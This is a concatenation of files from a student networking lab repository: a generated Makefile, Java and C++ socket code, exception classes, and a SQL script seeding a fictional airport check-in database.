Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.o:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.i:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.s:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s
# Help Target
help:
@echo "The following are some of the valid targets for this Makefile:"
@echo "... all (the default if no target is provided)"
@echo "... clean"
@echo "... depend"
@echo "... rebuild_cache"
@echo "... edit_cache"
@echo "... Application_CheckIn"
@echo "... Librairies"
@echo "... Application_CheckIn.o"
@echo "... Application_CheckIn.i"
@echo "... Application_CheckIn.s"
@echo "... ClientException.o"
@echo "... ClientException.i"
@echo "... ClientException.s"
@echo "... Launcher.o"
@echo "... Launcher.i"
@echo "... Launcher.s"
@echo "... QuitApp.o"
@echo "... QuitApp.i"
@echo "... QuitApp.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CIMP/CIMP.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CIMP/CIMP.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CIMP/CIMP.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/CIMPException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/CIMPException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/CIMPException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/CsvException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/CsvException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/CsvException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.s"
.PHONY : help
#=============================================================================
# Special targets to cleanup operation of make.
# Special rule to run CMake to check the build system integrity.
# No rule that depends on this can have commands that come from listfiles
# because they might be regenerated.
cmake_check_build_system:
$(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0
.PHONY : cmake_check_build_system
<file_sep>/final eclipse/Librairie/src/network/serveur/LUGAP/PoolThread.java
package network.serveur.LUGAP;
import java.net.Socket;
import database.utilities.Access;
import generic.server.IConsoleServeur;
import generic.server.ISourceTaches;
import generic.server.multithread.APoolThread;
import network.communication.Communication;
import network.communication.communicationException;
public class PoolThread extends APoolThread{
private final String DBip;
private final String DBport;
private final String DBSID;
private final String DBschema;
private final String DBpassword;
public PoolThread(int nbThreads, ISourceTaches tachesAExecuter, IConsoleServeur guiApplication, int port,
String ip, String DBport, String SID, String schema, String password) {
super(nbThreads, tachesAExecuter, guiApplication, port);
this.DBip = ip;
this.DBport = DBport;
this.DBSID = SID;
this.DBschema = schema;
this.DBpassword = <PASSWORD>;
}
@Override
protected Runnable getProtocolRunnable(Socket socket) throws communicationException{
return new RunnableLUGAP(this, this.guiApplication, new Communication(socket),
new Access(Access.dataBaseType.MYSQL, this.DBip, this.DBport, this.DBSID, this.DBschema, this.DBpassword));
}
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/CMakeLists.txt
cmake_minimum_required(VERSION 3.8)
project(Application_CIAChat)
set(CMAKE_CXX_STANDARD 11)
set(LIBRARY_SOURCE_FILES
../../Evaluation1/Librairies/SocketUtilities/HostInfo.cpp
../../Evaluation1/Librairies/SocketUtilities/HostInfo.h
../../Evaluation1/Librairies/SocketUtilities/Socket.cpp
../../Evaluation1/Librairies/SocketUtilities/Socket.h
../../Evaluation1/Librairies/SocketUtilities/ClientSocket.h
../../Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp
../../Evaluation1/Librairies/Properties/Properties.h
../../Evaluation1/Librairies/Properties/Properties.cpp
../../Evaluation1/Librairies/Exceptions/PropertiesException.cpp
../../Evaluation1/Librairies/Exceptions/PropertiesException.h
../../Evaluation1/Librairies/Exceptions/SocketException.cpp
../../Evaluation1/Librairies/Exceptions/SocketException.h
../../Evaluation1/Librairies/Exceptions/HostException.cpp
../../Evaluation1/Librairies/Exceptions/HostException.h
../../Evaluation1/Librairies/Exceptions/ErrnoException.cpp
../../Evaluation1/Librairies/Exceptions/ErrnoException.h
)
set(SOURCE_FILES
Launcher.cpp
Application_CIAChat_IN.cpp
Application_CIAChat_IN.h
IACOP.cpp
IACOP.h
IACOPException.cpp
IACOPException.cpp
QuitApp.cpp
QuitApp.h
ClientException.cpp
ClientException.h
Message.cpp
Message.h
MulticastSocket.cpp
MulticastSocket.h
ThreadReception.cpp
ThreadReception.h)
add_library(Librairies ${LIBRARY_SOURCE_FILES})
add_executable(Application_CIAChat ${SOURCE_FILES} ${LIBRARY_SOURCE_FILES})<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/SocketException.h
#ifndef EXCEPTIONS_SOCKETEXCEPTION_H
#define EXCEPTIONS_SOCKETEXCEPTION_H
#include <string>
#include <cstring>
class SocketException : public std::exception {
protected:
std::string message;
public:
SocketException(std::string msg);
SocketException(const char *msg);
SocketException(const SocketException &orig);
virtual ~SocketException() throw();
virtual const char* what() const throw();
};
#endif //EXCEPTIONS_SOCKETEXCEPTION_H
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/ServerException.cpp
#include "ServerException.h"
ServerException::ServerException(const string msg) : exception(), message(msg) {}
ServerException::ServerException(const char *msg) : exception(), message(msg) {}
ServerException::ServerException(const ServerException &orig) : exception(orig), message(orig.message) {}
ServerException::~ServerException() throw() {}
const char *ServerException::what() const throw() {
char *returnVal;
returnVal = new char[this->message.length() + 1];
strcat(returnVal, this->message.c_str());
return returnVal;
}
<file_sep>/final eclipse/Librairie/src/network/crypto/SignatureException.java
package network.crypto;
public class SignatureException extends Exception {
/**
*
*/
private static final long serialVersionUID = 1L;
public SignatureException() {
super("SignatureException()");
}
public SignatureException(String msg) {
super(msg);
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/TicketCsvHandler.h
#ifndef TEST_PROJECT_TICKETCSVHANDLER_H
#define TEST_PROJECT_TICKETCSVHANDLER_H
#include <string>
#include <iostream>
#include "CsvHandler.h"
#include "../CIMP/CIMP.h"
class TicketCsvHandler {
private:
CsvHandler *csvHandler;
public:
TicketCsvHandler(string filePath, string sep);
virtual ~TicketCsvHandler();
bool reservationExists(ticketStruct ticket);
};
#endif //TEST_PROJECT_TICKETCSVHANDLER_H
<file_sep>/part_1/CheckIn-Cli/Network-Cli.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "Network-Cli.h"
int Socket(int* soc, int port)
{
struct hostent* infosHost;
struct in_addr s_addr;
struct sockaddr_in c_addr;
unsigned int taillesoc;
if(((*soc) = socket(AF_INET, SOCK_STREAM, 0)) == -1) // Crée la socket TCP
{
return -1;
}
if((infosHost = gethostbyname("localhost")) == 0) // Va rechercher l'adresse du hostname dans le fichier /etc/hosts
{
printf("Err d'acquisition sur l'ordi distant\n");
return -1;
}
bzero((char*)&c_addr, sizeof(c_addr)); // initialise c_addr
c_addr.sin_family = AF_INET; // Toutes les cartes réseaux peuvent intercepter les paquets
c_addr.sin_port = htons(port); // Convertit le port en big endian
memcpy(&c_addr.sin_addr, infosHost->h_addr, infosHost->h_length);
if(connect(*soc, (struct sockaddr*)&c_addr, sizeof(struct sockaddr_in)) == -1) // Initialise la connexion au socket
{
return -1;
}
printf("SUCCESS !\n");
return 1;
}
int Sending(int* soc, char* buffer, int sizebuf)
{
if(send(*soc, buffer, sizebuf, 0) == -1)
{
return -1;
}
return 1;
}
int Receiving(int* soc, char* buffer)
{
if(recv(*soc, buffer, 50, 0) == -1)
{
return -1;
}
return 1;
}
<file_sep>/LaboReseauxBinome/Evaluation1/Application_CheckIn/Application_CheckIn.h
#ifndef APPLICATIONCHECKIN_APPLICATION_CHECKIN_H
#define APPLICATIONCHECKIN_APPLICATION_CHECKIN_H
#include <iostream>
#include <iomanip>
#include "../Librairies/Properties/Properties.h"
#include "../Librairies/SocketUtilities/HostInfo.h"
#include "../Librairies/SocketUtilities/ClientSocket.h"
#include "../Librairies/CIMP/CIMP.h"
#include "ClientException.h"
#include "QuitApp.h"
#define affEmptyLine() cout << endl
#define affOut(msg) cout << "\e[34;1m[" << __FUNCTION__ << "] \e[34;0m" << msg << "\e[0m" << endl
#define affErr(msg) cout << "\e[31;1m[" << __FUNCTION__ << "] \e[34;0m" << msg << "\e[0m" << endl
using namespace std;
class Application_CheckIn {
private:
string tramSeparator;
string tramEnding;
string host;
unsigned int port;
HostInfo *hostInfo;
ClientSocket *clientSocket;
CIMP *cimp;
ticketStruct ticket;
luggageSumStruct luggageSum;
void initSocket() throw(ClientException, QuitApp);
void readConfigFile(const char *propertiesFilePath) throw(ClientException);
void showTitle() const;
void showFlight() const;
void pushToContinue();
void login() throw(QuitApp,ClientException);
void transaction() throw(QuitApp,ClientException);
string getInput(string invit);
string getInputWithEmpty(const string invit);
void quitAppAfterErr(string where, string what);
public:
Application_CheckIn(const char *propertiesFilePath);
virtual ~Application_CheckIn();
void run();
};
#endif //APPLICATIONCHECKIN_APPLICATION_CHECKIN_H
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/ThreadReception.h
#ifndef Thread_h
#define Thread_h
#include <thread>
#include "MulticastSocket.h"
#include "Message.h"
class ThreadReception{
private:
std::thread unThread;
bool stop_thread = false;
MulticastSocket *multicastSocket;
std::vector<Message> *allMessages;
std::vector<Message> *questions;
public:
ThreadReception(MulticastSocket *mcs, std::vector<Message> *allMessages, std::vector<Message> *questions);
virtual ~ThreadReception();
void Start();
void ThreadMain();
};
#endif
<file_sep>/part_3/Evaluation3(ancien)/BD_AIRPORT/populateDatabase.sql
DELETE FROM `BD_AIRPORT`.`luggage`;
DELETE FROM `BD_AIRPORT`.`ticket`;
DELETE FROM `BD_AIRPORT`.`passenger`;
DELETE FROM `BD_AIRPORT`.`flight`;
DELETE FROM `BD_AIRPORT`.`airplane`;
DELETE FROM `BD_AIRPORT`.`airline`;
DELETE FROM `BD_AIRPORT`.`agent`;
DELETE FROM `BD_AIRPORT`.`job`;
INSERT INTO `BD_AIRPORT`.`job` VALUES(1,'Agent de compagnie aérienne');
INSERT INTO `BD_AIRPORT`.`job` VALUES(2,'Bagagiste');
INSERT INTO `BD_AIRPORT`.`job` VALUES(3,'Employé agréé de tour-operator');
INSERT INTO `BD_AIRPORT`.`job` VALUES(4,'Aiguilleur du ciel');
INSERT INTO `BD_AIRPORT`.`agent` VALUES('laurent', 'password', '<PASSWORD>', 'Laurent', 1);
INSERT INTO `BD_AIRPORT`.`agent` VALUES('oceane', 'password', 'Stasse', 'Océane', 1);
INSERT INTO `BD_AIRPORT`.`agent` VALUES('toto', 'mdp', 'Tata', 'Toto', 2);
INSERT INTO `BD_AIRPORT`.`agent` VALUES('unBagagiste', 'mdp', 'Bag', 'Agiste', 2);
INSERT INTO `BD_AIRPORT`.`airline` VALUES('LH', 'Lufthansa');
INSERT INTO `BD_AIRPORT`.`airline` VALUES('AF', 'Air France');
INSERT INTO `BD_AIRPORT`.`airline` VALUES('SN', 'Brussels Airlines');
INSERT INTO `BD_AIRPORT`.`airline` VALUES('WA', 'WALABIES-AIRLINES');
INSERT INTO `BD_AIRPORT`.`airline` VALUES('PA', 'POWDER-AIRLINES');
INSERT INTO `BD_AIRPORT`.`airline` VALUES('AFC', 'AIR FRANCE CANAILLE');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(714, 'WA');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(666, 'WA');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(404, 'WA');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(362, 'PA');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(152, 'AFC');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(252, 'AFC');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(1002, 'LH');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(904, 'LH');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(842, 'LH');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(468, 'LH');
INSERT INTO `BD_AIRPORT`.`airplane` (`idairplane`, `fk_idairline`) VALUES(999, 'LH');
INSERT INTO `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`, `takeOffTime`, `scheduledLanding`)
VALUES('714', 'WA', '2017-10-17', 'Marrakech', '08:02:00', '23:57:00');
INSERT INTO `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`, `takeOffTime`, `scheduledLanding`)
VALUES('714', 'WA', '2017-10-19', 'Marrakech', '08:02:00', '23:57:00');
INSERT INTO `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`, `takeOffTime`, `scheduledLanding`)
VALUES('714', 'WA', '2017-10-21', 'Marrakech', '08:02:00', '23:57:00');
